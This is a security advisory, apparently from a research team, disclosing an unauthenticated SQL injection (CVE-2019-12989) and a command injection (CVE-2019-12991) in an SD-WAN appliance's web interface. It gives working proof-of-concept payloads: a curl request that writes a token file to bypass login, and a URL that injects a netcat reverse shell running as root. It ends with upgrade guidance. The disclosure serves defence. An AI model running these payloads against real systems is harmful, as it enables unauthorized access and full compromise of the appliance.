Synopsis
CVE-2019-12989: Unauthenticated SQL Injection /sdwan/nitro/v1/config/get_package_file
The cgi-bin/sdwanrestapi/getpackagefile.cgi Perl script contains a SQL injection vulnerability that can be exploited by a remote, unauthenticated attacker. Input validation is not applied before incorporating user input in a SQL query. By exploiting this vulnerability with a crafted HTTP request, an attacker is able to write to (and create) files in locations writable by the 'mysql' user. For instance, a file can be created in the /tmp directory. A SQL injection payload can be constructed in such a way that the attacker is able to completely bypass the authentication mechanism by writing a token file to the /tmp directory.
The SQL injection vulnerability can be triggered by crafting the HTTP POST request such that:
- An HTTP header 'SSL_CLIENT_VERIFY' is set with the value 'SUCCESS'
- '?action=file_download'
- Content-type is 'application/json'
- Post data is a JSON containing the SQL injection payload in the 'site_name'
175 if($package_type eq "active"){
176 $query = "SELECT observed_sw_revision, appliance_name, expected_sw_revision, package_file_name from Network_Appliance_Active " .
177 "WHERE site_name ='" . $site_name_arg . "' AND " .
178 "appliance_id=" . $appliance_id_arg.";";
179 }
Proof of Concept
In the curl command below, a token file will be created at /tmp/token_01234.curl --insecure -H 'SSL_CLIENT_VERIFY: SUCCESS' -H 'Content-Type: application/json' -d '{"get_package_file": {"site_name": "blah'"' union select 'tenable','zero','day','research' INTO OUTFILE '/tmp/token_01234';#\""',"appliance_type": "primary","package_type": "active"}}' https://192.168.1.212/sdwan/nitro/v1/config/get_package_file?action=file_download
Next visit this address in a web browser. You should be logged in.:
https://192.168.1.212/cgi-bin/vwdash.cgi?swc-token=01234
CVE-2019-12991: Authenticated Command Injection /cgi-bin/installpatch.cgi
Installpatch.cgi suffers from a command injection vulnerability. This vulnerability can be exploited by a remote, authenticated attacker to execute OS commands with root privileges. Specifically, the 'installfile' parameter value is not validated prior to using it in a call to the Perl system() function.
Proof of Concept
After having bypassed auth, visit this URL.https://192.168.1.212/cgi-bin/installpatch.cgi?swc-token=01234&installfile=`sudo%20nc%20-nv%20192.168.1.191%204444%20-e%20/bin/bash`
Solution
Upgrade to 10.0.8 or 10.2.3 for security update.Disclosure Timeline
All information within TRA advisories is provided “as is”, without warranty of any kind, including the implied warranties of merchantability and fitness for a particular purpose, and with no guarantee of completeness, accuracy, or timeliness. Individuals and organizations are responsible for assessing the impact of any actual or potential security vulnerability.
Tenable takes product security very seriously. If you believe you have found a vulnerability in one of our products, we ask that you please work with us to quickly resolve it in order to protect customers. Tenable believes in responding quickly to such reports, maintaining communication with researchers, and providing a solution in short order.
For more details on submitting vulnerability information, please see our Vulnerability Reporting Guidelines page.
If you have questions or corrections about this advisory, please email [email protected]